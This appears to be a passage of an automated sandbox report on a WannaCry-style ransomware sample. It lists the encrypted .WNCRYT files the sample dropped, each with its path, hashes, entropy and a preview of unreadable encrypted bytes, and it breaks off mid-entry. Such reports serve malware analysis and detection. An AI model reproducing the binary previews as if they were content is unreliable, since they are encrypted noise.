                                      Preview:WANACRY!......5..!.G.t...s...S.K.m.*..b>wVk..p..x.q...L.QI....XN.W."..e>.8..`~J.9...q........Qd?...S8K$@..?D.^=.p.'...vm........^.0xJu`|...(.@.}....G..LN......>I4.c2F...qPA..........p./f.N....7^...=...:0.?.....6@.....c........Xo.....>.7...!._r....).\.1....'....;.......'.5...G..6..,o.~.H..nK.ywa3..3:b.U:...Z....Z..R........'1a*..7..+.='....>?.D.AM....!~.)2.......V....b^.Y(6...?...&..........v.Z.P.9a...PB...0.....8..)H.W.[e8..bi...uBb..^.,.A?eCP.y..t.u..?...wd.j..%..0.@..i!.%......./A..I8.W.6..b...U#../.I..q..64...at.KN..K.+F?.:.)..:.n.r...[.ct...qki10.-6z+........1T..Dr..h....~...V.J.t...,Y,T.......-.y..A..U.#>..#..3."-y. ......J^......n.sv../....,..*...mD;.!t.M.M.......jl........!D......U.Ncf..Z.C../i..*R..B..)...B=.GDz9z..YY:jJ\.q.\.=/Q.[A.X......[.-U....}..\#..~:(.7.`...}*.6...w..|...u.-..[.KN.mN...R.?.d...>..M....th..`.R.V......e..b.....p(..5A4...f..f..mJ.........|...8I....bi&.....=.R..W....+..Cp......./n;.%.I. .~.=..W..E%..*O..B...7.....&

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196701332050.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998447598777159
                                      Encrypted:true
                                      SSDEEP:3072:1ePHEhd7yan6mz0QOwB9jy00CphpP1446Axxp6O:EPED7y4FX0CpLP1tZpl
                                      MD5:1CE42DB575BF5AF6797722C5584FB251
                                      SHA1:ED9333D393C7F51F8B7BE7E7187CCAD544C6D024
                                      SHA-256:8874CAF5736E52FCF37F516E6A729AE297DA1BED00CFDD081286937341F84101
                                      SHA-512:030CA7B7A9025342564EC798FAB23693E08200311E03C06DCBDAC17F9E25F062DC5F9D47E28967C8FA840CE138EEADA01BD9F62290B39DEC455EA9018D16B50F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....m....... .D..>.Q).G..;<x..le`..\.#X....|..q..^l..b....;.Uo..K......:.#O..rQ.......z={q\6ywt)B.@..r..Q=or.|.0...;..w..[.b[83DW.g..}.<.c..8..|&.C...u....OE..s~.V,y.w2....O..L..5.V..DQn1..O.lbK...c.Oc.B..[>...$....Q.....l..h..$..!.M....r.88.W.C.a....;.......r(.]....jV('W$.:.h...v..+i....uqd^*t..`k....R..h.. gfr...r_.>..EN.....+...P.G..nY2..W.-.....ky..m.....av.......s.....ub..#.........$...i...}=.......>..X..M..+B.."B..;.E3$8(....F.@mx.{j.X*]W(3........W.3.$C3.s"..!T.4v..&h.vC.r9Ke.,L-e>d....'.u...w.@.H..=mh..MP#.j.%.k..r.[.3R...5..2........}...2.%._.._...d._...7,6\.......|....u.....]......|.t...I.t.n.{.A..y.8.3Z..Sp".../(.\......&.........X*.K9t....9.m...|...->H......?..;..Z.....\Z.3.WU..M..:.cf......I..m.....#.D.%.......V.i.n....i..20..]ow..3.Z.e.....T..?. (... %......u.~i.uac.Yd.9..o.......q.x....6}.w.[Zk.'....'....o..@.#.~..e...jW.6..`....vC..e...za@d]zw..>.j._....0dj...s.o...C(<...@.^.h...N...d[e..Jl...H.w)..C...N.P.3S..8

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664197001416167.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.99834860257924
                                      Encrypted:true
                                      SSDEEP:3072:Etow3k9oYclXgPhaY30XV2VcfmH4ELBvrWk9:JwU9oYigPgKVnHJvb
                                      MD5:A0F0CBA10EB96EC6B09A8423D205628A
                                      SHA1:905E0C5FFD55272CC906B728BAE38032EB42186E
                                      SHA-256:C3914F670D354431EC0DC60E5269638B6A1D03D069325A1CC6303EEA3C26D7FC
                                      SHA-512:80DEFD20818EF9821C4836F6D1B65FAF65281B2883AC318A624D4DBF790DD10F3FCB0DA09F37C9847A3DEC31283429D334D938736482219AF1553F74B247FF0D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.............`z...].;...]...A..>\.;....esV.*\.....'...4..%..4v...^.U..M.&~.0...h?.....6....3...x.?.>7.c..I7e..6.....|..W..] f'.m.../...8...A)..BsG._Z.'a@...Qs...d.`...^.h..2E6..].9B<[3...*.%(....{...|..d.o.C.2.F.C.x7...P..!....u.....o...P....oN.xe.D....;........F.l(!..0$..^...4....b..J .(P...._%P...S....Y9.8.GX.( .......U.>.=J.6.h.S('_.........p.GN.ct...M0..uB..\..3...gf }q......l.A>w.N21..'.q.G..~.j.....,.N..Z yV...d....x-.c u....3.K.xG0O. ...F.4.z..'.Q..T...z.<.p.o..x.S..6t..../k.h.~!$\Ec....UaN%p.).......#M...T-.....Q.=o...H}.].ga.......j~......m...$..p....8Z*....#..#I........Q.+....^.J....&.o.g......<.O.O....`...uWx.......B...2..A..7k.I.w...r.<..@..Z....a..X.......PI......&AEN`|I2....v../.X..%.K......i..7tyS...B..V.j.x.H.._..gR...Qq^B....==.J....]..N..Y.>U=.m.!W9.......y..J5........B.`?..._"R.|R*.j..sRa.Y......GP..7..S..-...6...(Z..^.,.y.....[).../......j.."..W./K|V.&....*B:.6 z...tv,boyr.a.|..<.....2>...>......R\qG.#..C..n.....M.=..0

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):690472
                                      Entropy (8bit):7.999748660714291
                                      Encrypted:true
                                      SSDEEP:12288:+byGv24b8B1E8X1j6dYlSj5Rc+hRuIhAjcHCYKoB1wSjmyMkK9CIoXCk8nvYAg:+Gp4eE8XxwYQvcKhblfrKyDJ0vq
                                      MD5:B453C1BD7C83D30F74AD1CC9E7CFC6CB
                                      SHA1:49261778A4BEB5E9EF5E9424A8320F5DCB8718DF
                                      SHA-256:1EF273A5390CD2957A0D60D53AE1003F607A3E4FF08BBAE739BDF7E5FC907335
                                      SHA-512:1ABD2B236FE559F4CC0A3AFC1302C4B1F2A4F9E6C29706289BC27242D08A1F607DDC4D0E0AC5366A6596D9F6AD2A963EFFB6052DA51CD31734118E325213BE7D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....".v.?.m...2..{.z_..........>...U=*..^@.,..i1........6d.E...`.D....s..>..|...).6*....+F..ia..VV.pL.&b...._@:A.%.. ....SH.hiT.6.f....,...sV7=.-.z(.Z.>.-.. 7.Dn.g.&....l....\JR81f..W...z...8a..f...^c.V...x.'..\^\.`..rl.m...'..<.ak....$.8..2cZ.azT.............A..Kzi{....B.^6kC.5V....e.D..q...x.........;2.....<Sg....h../e...P...P..F...8m.a..;.n..PzY......K......HY.K....X.........y....<.|4_g.4.0X..z..!..(DZ..V.fZ...j....~.3".+..1x.3t.m.q.7EU.i.^2.t..<g --....}ueR/....D..D.N.M.....f.m....L...O.....5.........q.h.AJ.lt(.]8..:X]8L..AN*..9Ez...?....o....=.1.so.Sq..H..L...(.?.M.o.dnZX&..._*....@...:.o...^.iR3.t.c.......+..}."]......|..o^.=....i..b.];/..C.z,Q.....R...I...D......un.t..#.uo.V..9.h..j...yf..3w<.*.?(.....Z.}.....}.BoE..la..F#h...g.....M....r.?.7X...]........=X`.kkQ....:~..Z.O..?.(.....n..=m..Q.A.*.od..DV.t..P.wd..!...%7tq...~..:..).s.(. G..7.Y...=.....u..}..-3....a.Sp..0.^....q.:....cC.....t.......WX.5,..@q1,X.o*.a?.,.b4.t...J~

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\Flighting\FlightingLogging.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4888
                                      Entropy (8bit):7.961276936692056
                                      Encrypted:false
                                      SSDEEP:96:oLQi7r6+OHg0Nx5Cw3OryQRW8x/1699WaJmuZDyE9Xeb+3weKb5U1EAHvo+:K7O+8jCwUrWG/ewu39Xey3wfdU1NHT
                                      MD5:E920A2291C3E402883A726C606C11DA8
                                      SHA1:7BCD639C58E25F2456C34B7F71C70D35EA5EDF55
                                      SHA-256:1A9DAA955085E07A35F2484201D6294723AE18A006E8DBE5B44495BFB01C6607
                                      SHA-512:AFE15865D19EE73ED61311D0CFC227A8986B40A7DB1DE30C3BAA2BCB425E007D182EE562131AE26276D78DDD1878EE44EDCBBA21F680345F0D488804AD935892
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....$..-^..$.L..[.."%d...0A..zV......,$poduj&..P[D..=G...<....&...q.\..?.Zr...v......K..r....-@..X.....x.q@....k.#..m..a...X?.D..g....>....W?E8.7/.....7..V.....q93.'......|k...f...1.H2J..`.m.8.E]..S....x.........W.'G2...e#.C....8.f.......}O..............g.ho..@..v%.*..|[.......,...7....7.0..?b.m.t..../....(..O....X...zA.t.9...._.....o..V7",......9...Z...u.*.0)W..C5.......E{.+.I...l..g..3.^..+*.Po.Gh.+.u.............y_.]j.Y..#......^........,...[....1........j..iEt`*pY..V..".ms.f.....1..7...Ib.o..(..(...&6|..G..V....|.\P..w....T.Z..}Y..EN^o.Hf9V...T...........t..:.Tt.*...U...js.....`...R..x~z..#n.w......d.;...R(....-!...m...E........j@.D../..|,.`.P.B..Os+1.A....GM.....v..N.<..~}..n.5....qUH2 ....V.8~.. C.l.'X.....o.7..N.b3.yW.I.K.m7.....x.l... ..z.....l..............~v......i.u..P...t..t+.Z...u.iyX...Zz.1.F]....v....D;.kgy:.d+J9r.q...sMP|.....5.@......C...#.D&..f.(.d.8......b....] ..}.A1./.(.p.Rx.0...`.E......v.@Q....6.}G

                                      C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_August_18_2021__5_27_51.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):568
                                      Entropy (8bit):7.601487404415064
                                      Encrypted:false
                                      SSDEEP:12:bkEAX42UMysul1I6PLaQc1EvbtomKo38egKfOMa84TSXb:bkSMn6LaASmGPU74Cb
                                      MD5:3CAF6B701A9CC1EC1A4EA851BB5D608D
                                      SHA1:BF09340D8503E8125F86FE7955E61A4329364E95
                                      SHA-256:CAE3B799B096E63B4080067F9D31F7A21722334AFCEF3CEB5FCA33F89A2C9099
                                      SHA-512:9C9258EFC6420FC2B28FD5FEA605D4E127862EFB19757CE7F0E6BB460CFA68568994A8022B13486A515A68F333DEF002B0A73B23BC0C90EE0A5E49871C9A2AC9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......1.......6....P...|..W6J.(.J..B.fv..........S4....iQ.......T......iW.op w.nX..bC.).K..[...f.e4.......s..Y.(...1?t.c..|.7KZc.R....../....f.......>.B'..t..gA...Z.D....-9D......TB.U.G......J..=.v.=.qF.Y.a.Tf+m~pf.=!l...O..F....}.......p|......:...............*.....P.Vp..b..2..UR..8J..q.d.....GI..]P.WX.....S.X.gL..........BZ......=..E;................!,..*.le...M.xR.7O2`..#.....=....W...o....:....3.....|.?V..e.3.S.x@...k.\dx..K.0.m.g.......dz..-..c...|m..D..O....&q(...O.......E. 1..~:..9..^........d^Hy.......4.dke.}......TK...>..

                                      C:\Users\user\AppData\Local\Temp\0.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804283394730824
                                      Encrypted:false
                                      SSDEEP:24:f58hAfjYMkNTDferl5HWap9UxTLNnHLcWDhIygq0CDu:f58hAfVED1RnrcWDh5gqXy
                                      MD5:9F70146E968B88DA5F187B7FFADD5D96
                                      SHA1:2CD6B29D14EF5BD9A22F5A924C2198C46A0CFBCA
                                      SHA-256:C5F075EEF1128BE4707D43C5B674276C485709643260E20D91D10441850B8475
                                      SHA-512:EC9F65DB8C63E769FF8C781796E8E1252E957208192E62730F1E1A4B9C9E8E6765A5B7A6D9119C71C2A715C9BAD5A406D699F965272AD1D1F9AB8640CD20ED0A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.....ZpX........vo3..P.&.Xf.a..........y"'.u..K..C.2....d.|..c.z@.cd...\@7."...S.c....(*.Z!.nH......Nh./."M....o..c[..n....D.!.l.......i.x.v.,..+DQH....gU.,........gvS....}..`.b.C.../9........L.u.....?.}Tu~..=..,..*.$.`.a....I....~..lc.................sG....h.#.W..a*.n!UkHkR..B.q@|..dl..&.s|....9.f.6..Oh.%q..YY..y..s...r...2....O.....+.N:}.*."..y../j....70.u.63e}..D.>.I.=.pO.L...}.X........i.uq..E4oM....U.7.%X..........2..?....(....b....".C..;..c%.W..#.$.Nv....rU.}.."n.:.4.@.q......h.....X..h..........'.u...!.....V...s....g.X..R{.>.P.._....c.C..X..b..%`...9.;.l.... .~..8i%..8..&E..........E..n.....I.2....vBV.....t.k.}4P.....N..WJsAmqD\/2.a..oT\/D.m.}HieK.O..eV...f-.,..<.|.....r../..[l<..b.n..p..T.2D........p..;.X#U.....P*}X...Q.Ros>f.{D.TM..<.hH.b.....,.....j4.?.!..cnB...f..._]2..& ..yL.....a.......H..1.E..I[{#se7v.nq.'..3A..m%y... ..F.F..A.h.&........S....0X......k..)B.~*.{.8....O....B....3.m....W..).......X........([&...QU..E.

                                      C:\Users\user\AppData\Local\Temp\1.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.81380094449565
                                      Encrypted:false
                                      SSDEEP:24:8a0af89iRyXpIFnuA8JLqPF532qFrDtRUn4NM+lFWOC8:r0F9/pI8lqPbGqZ5yKWF8
                                      MD5:25F3387BC3E35BD2BD032BBE8BC83A8F
                                      SHA1:0E63399E1EDF4AAACC1EFF524734E4D4D76117C4
                                      SHA-256:E4751B2F844A0B4EA8BACBB1296C3B1A81B13A3865C144DEC9039C018474998F
                                      SHA-512:73C5E1880A3F81CD00585045E9F9C2CD43C8DBF4F298055B0B798B07C7A35ADD5A9DE19757A95B315D68AA5514B203F1D7739742B7F3D3798EFB12BCFBCEFC77
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:s......Y..'|`.x.t.&.m/.3!;C.~yO.*q.h..81.(Q.....@..?U.....i.z+6,:.E2.9.....2.r...?..Q....s..t.^..m.,O3:[..;.....[#^...j..5.A.....7K..*.D&.z.If.i..TQ..:....'...\G.{.^g.'...........+....}`.@?O;..ga.]....H.91......5.a..j3}...`..,P..&.....h.M"..1=.;.....6...hz.;@.&.-..-s.*.........{...q...x.#...rn....Y..7.....Jl....DO.....`.8..'..]*...Y........"T...J1..V.r.T.6........S%|*~..D,gP..a.{<k..Y.P..~...:Zp.%..l.....J8}......`.+............4......<S..7sTZM.,.b...)0.....t..tdB..e.2.H..L?..ZV..k.9.^..^.210.kQ.pUn..M.v0.....X.Y..D.+..<Y./).y.BN..$..N...L.x....l.q...1....a*...k.gz.!.....D.0.....GeAj..\]9:...R|..5...8.nN..PY......$5.u.z.t.U..+..$...a....!V..J.>...|....7.\.l.._...H..o......\.q".....{.....X..c.]Y..p.#...(.......{.....B,{k.........u.hO*....?..D........U8+lI)^9?j...o...=....,Vw...ZP.."2.RnG.s]c5.J.]...;x...x9b..@.,.b...B..+.TR.,.R.g.G...].^v..m|../.~Z.l.J.,H7..1g.I..a....G..A.&...D...=..Q[6.....,..<........L.O....(w.[ &.t"gY...9...kg#.....

                                      C:\Users\user\AppData\Local\Temp\10.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.816587051801639
                                      Encrypted:false
                                      SSDEEP:24:KX0+Ws1CMtzHDar6T7RGdA/IRG9AF1s7GF1FoYdNzY4Br:C0Rs1Cr6vJA+AF1spYd28r
                                      MD5:787719F24BF91F749154A1AF92D26176
                                      SHA1:3B2330B3F19F94169AA92D0ADD53189069322E55
                                      SHA-256:FF44EFE9219250B562E4994BAC46E423FD04F6C76834717DA07C852EFEEEC751
                                      SHA-512:790703DAE7CE581D05FA80F9B79DB51D7C482CC9F02D0C7CBD3E5CC074313575563A30C0014E208E570635F2BEF3312A1104786D69897921FDB102EF7D7F01BA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.d...AE.....g..'.<...Y..Y............,..s.._.B..A...lH.....j..~.@.+r.Q3i#...h..^#.}....r..8..&q......F8b....l@8{.H%...$&..*..}X..W{ ....a...\..\f...x.p.\.t.^.......<3F.........U.[ct.P..f..z...g.m...N.mI*Q...."` ..F^~~.|6.}.........1./,...h.J..t5....f...y..X..Zj.?.a^...F....?....@.......Ye[....s..&.....q..;kE.U...[..X.. ............c..v..H...H.... s.C;6.t....s^.O..k{...m^)..Q..u:e.z..4..+b..-..f8".I..:./....$.!......Y.....L.7......,A4..Do)gi.v.....N....>......9H..B...1Y.c.eL.k....G.1 >=].F..[r...v.j.......2..<......Fb..y...=......h..Ti.K......[....~....wF.G....g;<.....]...a.G.8L\.. ..'....s*5.=..../.e.r..-.s.:..r7.j.PO..`Bq..K\y.D....p...(.`l..sS.@...C.IO....F.!..S....g.+.#..x"{.$S_...GG.h.6..`....ry...G%..T.2.B..S^..C$w......0SC.BW...j..|e.O.Q..S@.!'..rs.... ....qD....i.w?..[A....]a....ka.p..fD%.d..ozM.s..^..&.b..a..LaR..FS...T......'..x&.'..o.=..mo....%..k.v+..G8..J:O..].=.p...m*@...H.I..J.^..U.H...Qi0.......j...?PF....<.x...*..4....!3."

                                      C:\Users\user\AppData\Local\Temp\11.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804789589167376
                                      Encrypted:false
                                      SSDEEP:24:/TlFoaT58RljTNjU625NLQ10vccPp9kBqOzWKnZlU5JifN:bLoadElhU62/L60vcep92/jwmF
                                      MD5:34958591F6AF251BC39C04F9C980EC5D
                                      SHA1:0C937656D00BA5CC72C3E6DB629A58F76EF16C6A
                                      SHA-256:339E5AFCC0D6A2F979A810793B2346995BA358E4E99980073547C925EEEF624C
                                      SHA-512:60C2CA9169634B0595D9F34A96163E27A68A1BEFBCCE61A942A244913DD97B1E8C72924AD68A7014BBF60447959D09220CEA0CECD5F806CA41A88BC8FD1D5257
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.;.......FF.V|..+..R.,.(...:yl..U."D'..Jw..7..+....U\..........-....BD"A..o...8.o..-m......"/n..}...s..E.Q..k...J....G...".v...G....W3.....%.*g3.....f.7N.I......-..b.....9.K^M............*Z.p.Qh..lY`.^...E^k.. .U...,..5.t.3Bh%..9i.Z.....m@..PA..l...^..8S...0B...:....l.Z.........Q<3..:t....Gl...&\.l..Vl..V#..e.\.tONN...}....].s.....Z.f......p.Eb..._.V..)C. .G=..,I+.pp9...K's.+.C....>.}n~b...U..(%!*'..|.'..v...B...t<...z..-..T_ ...z....M..3.p.i..T..4J'pV...+.U<).d.v.H.c.......\..I....E.I.....fU.|K.h]l.e.i.....2...[.....{o.`..`).~..+=q...B}.x%.n.QQR.,c.w......&.......6Z..16..3..J?...>........<H.y..17C y..C.......!.....f/..7...7n(...,..ah.}U...C..%...'y/#....n..R..h.............Q....OQqB........,Ch..8s'>`,...~'L..JR)N.gM.z.6../.z..<F(0.S.....zx^a.../..li..{.aQ.............m.........:.c....'..Y2.lpI*..?y...x......t..d.X.;.:Dn.....i...?.FW.]...Kw).k.N...f.yT.!..H...aj.=-Zx8...7>..?a.,...8..i.cLq...[..FYo..R....!..M.B....o.9.1...q?k...w.#........

                                      C:\Users\user\AppData\Local\Temp\12.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.813460359486579
                                      Encrypted:false
                                      SSDEEP:24:OznI7AcWxIzdTx4kP0mpEOpysQXw7ji6xlbx+fMNJD:mI19a5LINx+UfD
                                      MD5:F765C37A152F406465BDAD307C471241
                                      SHA1:590F7CE2B55971D1E0B4C2B72D7E2CD9D3A5D3AD
                                      SHA-256:C61CBA73C3E83E912711A6FF65D205C3BCD1CEE72BC9C8CC6197E2D578D0065B
                                      SHA-512:E025172466422C6A67A74E681F229929CD679D67468A82FC491EFA3A1574F0E7E807FC8F73CD79965DB521A12407DEEAD594454847561A9A3A579062CA186408
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Tf...F.I...2.NnK;x..A|M._.{..1.x......?....Z.T.D...2}..#.Y...]T......w.Qh\^........z...I.GlA.A.:.?@...7.W...J.g!Q3...p.hze.....%A,....$....Dh.fLF..].._D..RK..k.AS.d.{v:...G+S0..,.@]r..C....._...\J$..s...B....c:.......L..CY.)u....r.....E......v[J.pWf5.(jy..F...\P...Wu6f.."Nh....&c..ew..(...<..}..3.T..v...)i[..u.......-}9...B.|.pm]/.@5.bH...@..}..-...#.,..1.....R..2.P<W..J-C.g.M..! Xzv............:....Y...............H`..V..G#1w..[...n. y.9Zy.b...\...4...... 9m.u.&.-..$.C.t.....S)Wfq.....8...{PL.n.~.@.q7VD.........t..../i........5..!..?......z..(:.q..9.l..p....hc......1H.G.&..C.3i.n?x.........)A..y.<.e...!.)'<....u.......~.W..Ct.j;.;. .Vf...vr..kx.....?9..x)o%.^n.2_R..'6B,..3.N........u...b..d,x.g.f3_...y.~....@.s.M......a.D.`M.m.m......,..gwH...V9.&..$5|....U>.sI...^5.L&]P..v..T:!?.S.K...|)...v..5...:.rq........).0.L..!.X.uH.8.o...tZi...[.*!...........m..k..TjM!..[.^.].,..0....;.....fOv..%.._..i..Wfb...R..M.p....0...%v_..!....|...H .[R.$Q

                                      C:\Users\user\AppData\Local\Temp\13.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.81326173829811
                                      Encrypted:false
                                      SSDEEP:24:BhVB3KyQqr/XUEjxSJQzXtNa6UbK1HSy/cQpscGDrDnkZq19yOmQjn:BTNTQqlSuzy/W1HL/c49GDrrz9yjQr
                                      MD5:84DD4EB8CAB72CE7917327695BAD2224
                                      SHA1:8C8EB284D83F2D38A9A13EE1186A1D0EDA309915
                                      SHA-256:7575475E6666046AA4BBE95621BE0571DCC72951ACB2918A85074F5D7627C893
                                      SHA-512:1BF473EEE4D545DD0F38366EE5CC1D0063A27C5E34ADE41CAE651853ED69945D6DE9190BF737ECDE5C7C57728DAE790E13362F152B23631F38AF0E267B3B9E72
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-V@..W...Rc.4Kd,f.d...KC.K8L/..l..z.K..E..BD.....U.Z`@..k....ot^4..}..M.gE.!........W...*.........*.....Z.CB.!)..P.O..........lfk.....8.G.y..%.[wO........s.*.a......].....b....xtq......=.......UU..<.........Q.E..r..vxvP..J%N.D......l..6..hr.nf(.N7.y....-....i.tL.sX.V#64.N}..6*VQoRZ........E...4..`....!v..z...iS..e...T.*..G...z....4...(......R........j..`,Z;...2a}.......B._l...Tq.l.....>...=.;l..@t.yP.../..{.....iq.o.h....g......!....p.Y.j.!w@.@<.?...w....h....35.h@.~.s.K...."...6...b..N:fX.{.V..K..u..8_.....X.t1..j.h3....4.w...@Q.8VL.q7\tCcUn...O*......% ..'..Y..k"Z....pD..*.......@..@...m..d..-..u....v.3.6.C{.......O.r.k..@...j..C..D.~8A4...0....?.I.!.W}.)....?.M:..a......-B..qia..k.6....g......:X.......~:Pg....B.....3.i.t#6],6.^..x.E#..gd..:H........6.....3.._..<6.8p]..d&2E..u...<...+.SGVy0QI..Ij`.1..1.H...~`Z.u..... q....T.U\p1.F.k..].h.-..kS._|.k.[.9./q7...w.c.....-.Nqy...UY.-'.-.zU~......nxU~.w..kt.......l..b.......m{..Xo2..x.uz...

                                      C:\Users\user\AppData\Local\Temp\14.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.818524563437469
                                      Encrypted:false
                                      SSDEEP:24:aBL2JnL88RSobbKGw9/8zBtMZTrDOEpHwecw0MGT+VFIo8ui:aIJnw8RXLu/8zLQPqEpHws0M4+vItX
                                      MD5:1A68847BEB31F533E8E2624A43FBA0E5
                                      SHA1:7D9916238615D106896FA00848FAC9740A6D49A0
                                      SHA-256:F556C51B1D8F6CA56680591441923F30279CC13218AAF2F4D61A4135864AD582
                                      SHA-512:D1B988F2A0F2CEBA071F0D89E208FB986B74CB2D2C9E093AA81F225E393E6E81DAF15B77D5CAB97AB1698053D4AD359555FEF2E59EA3DA2042AE10E03229100C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:".w.H.Xf..K..=.Q'......x.$N...45.^..!T........:. UG.7...7...Zj.mX.b.....t..1...a.jBS..8.~e..{...o*n..U{.Z.J.pR...).,...*..G..x...h....I......,.&_...Z..?.9......y."J`6'..,...=...Q....i0:...qR.!r...]....s._X..........3.u..j:..BoI....^.B.V..Bn..h..iT.*~*x....&..@$..K{..G.y)..N.a.C./_i.WJ...<.R..o....I.h..@.BFR.H..5.PJ.D.2}\...SO.<.q-t..f....6T<dl.....%.........3....C..K..1.......X..U]H.....zBJ...3:........ ....B...s$c'..G...C..Wh...u...}S.~...../...[-W..Eh_.8.0.....J..y...B.Iy..<Y5T.!.o.%.V*.c.D.........Ak...F#...F= .....-.a..foH..I.5.M@....v.f4......1TT.q..0...'...+^>xx3N'...\C~Z...........;.}JA.<v.9..1....w....&..V.AV.fHz2F..x. DI.'...sF.L..;...ib..=....5._.[.{.F.....@.s...=...uK...`x3.gv^ ^..E.W.q..-Qf.E=89..../W^...r(.....]..D...&1.^. ...%!t...1zZ.~.._.0J1.`.4.B`....s.F..U.h.S....[<.h..B.E....zO..ns"..g.Z`zO{.l.....3.l...}......x.E...&y.e?w.I..d......@,..r.d..L.lZ5_}..&...(.Eh.iVQ.._.J8M.j.D(]-...c..+.....t<..<.~....dE.C.i..Lg...;z|...

                                      C:\Users\user\AppData\Local\Temp\15.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.825199563057195
                                      Encrypted:false
                                      SSDEEP:24:slpONq57cC3XevedX6TEPx1k6516baS/ZoiPCeEhj4sDG/dMWfu:syY57cC3XeEX6cx1k61oSjli/dju
                                      MD5:78C872E4E2A91D8FDA7838CAAAAA0EC9
                                      SHA1:CA090FB76260C2FEE5F3E29AAFB45CC34ACAFD7A
                                      SHA-256:664A88BEA8C0FA4DB6201D75D08106944A0E7E2E513C83A29561D53F6DBE98AC
                                      SHA-512:EB0C30583BB1583F1392EB5AAF745A5C2BD796A5707471DF94C96B6B4DC98D4449BE1DF6386E19503A9B5E4D2B7BD5F03015901B9964A5D870E75497C0620688
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.\A..T1.K...%....M.ct!I..*:.....F.P.6.rA.N.^..:F....$J.....^1\.X..,]L...daL....`..x.A.F.....,.,.$.y.W...}....UW.."..;.....k....$#z..T......F..g......V..xJ{.-&........O..0.S.(...x.....c..o...bs....i:..Z.^....X.......,.7....|..c.....l.d.x.*`.6..f..K,.NjH....."WA....T..l..t..7!!}w.~..g...T...yS5.....He.95j....s.x............... +O....7]-.....7.Q....R.9.f._.b.p..?E....[.......h...].......K.....I.V...zj....G.z4Z.;.-4....X.H3.........!6}/...~...m.o.../`[..-...../.D.....T.W20T%.y..fI...J.`..Ex.G....W?..+y.?.^.....x$.E.Ma*kPK<..6^3g...5..v.....&..h...D.VG....<...g},^.sK6. ...vL?S._....u...D..zd.........qa.d....'...<.'...?..J..K.U.O.....Z4..e.....s-{.F.....8.mP........9.....l{C....ce)...F.z..P.?.....=....$.}R.B......N+....11..m...<F[.@.....c....&.....)R~...z..J...6...n...f....j..S....>..\..D{..Sx......LY...,.......C.... T..{.....]./yE.?...]...z\8.-{..v... ...... .......0.cZW...I?. ....b.L....U.1.......A~...m...v.$.3..Qo.........n..&z(.D.s

                                      C:\Users\user\AppData\Local\Temp\16.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798272090143542
                                      Encrypted:false
                                      SSDEEP:24:YnhljFALQCq63XsQAq68+GSDwialrz4swmBGkL9r:YnhlJ0QqvAqr+vMialhRLl
